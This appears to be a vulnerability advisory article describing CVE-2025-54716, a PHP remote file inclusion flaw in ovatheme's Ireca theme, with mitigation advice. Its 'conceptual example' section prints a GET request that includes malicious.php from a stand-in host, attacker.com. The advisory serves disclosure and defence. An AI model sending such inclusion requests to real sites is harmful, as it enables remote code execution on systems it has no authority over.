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CVE-2025-54716: PHP Remote File Inclusion Vulnerability in Ireca by ovatheme

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Overview

The critical vulnerability CVE-2025-54716 is a PHP Remote File Inclusion (RFI) flaw that exists in the Ireca product by the ovatheme. This vulnerability is capable of compromising systems or causing data leakage by exploiting the improper control of the filename for the Include/Require statement in the PHP program. The impact of this vulnerability is significant, as it affects all versions of Ireca up to 1.8.5. Addressing this vulnerability is a pressing issue for all Ireca users to prevent potential cyber-attacks and secure their digital assets.

Vulnerability Summary

CVE ID: CVE-2025-54716
Severity: Critical (8.1 CVSS Score)
Attack Vector: Network-based
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

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Product | Affected Versions

Ireca by ovatheme | All versions up to 1.8.5

How the Exploit Works

The exploit for CVE-2025-54716 takes advantage of the PHP program’s weakness in handling the Include/Require statements. By manipulating the filename in these statements, an attacker can trigger a PHP Remote File Inclusion. This allows the attacker to execute arbitrary PHP code within the context of the application, potentially leading to a full system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This could be a simple HTTP GET request that includes a malicious PHP file from a remote server:

GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: vulnerable-ireca.com

In this example, the attacker is attempting to include `malicious.php` from `attacker.com` by manipulating the `file` parameter in the HTTP GET request. If the application doesn’t properly handle and sanitize this parameter, it may lead to the execution of the `malicious.php` on the server side.

Mitigation

The most effective way to mitigate this vulnerability is by applying the patch provided by the vendor. Until the patch can be applied, temporary mitigation can be achieved by using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and block any suspicious activity. In addition, it’s recommended to regularly update and audit your PHP code to prevent such vulnerabilities from being exploited.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

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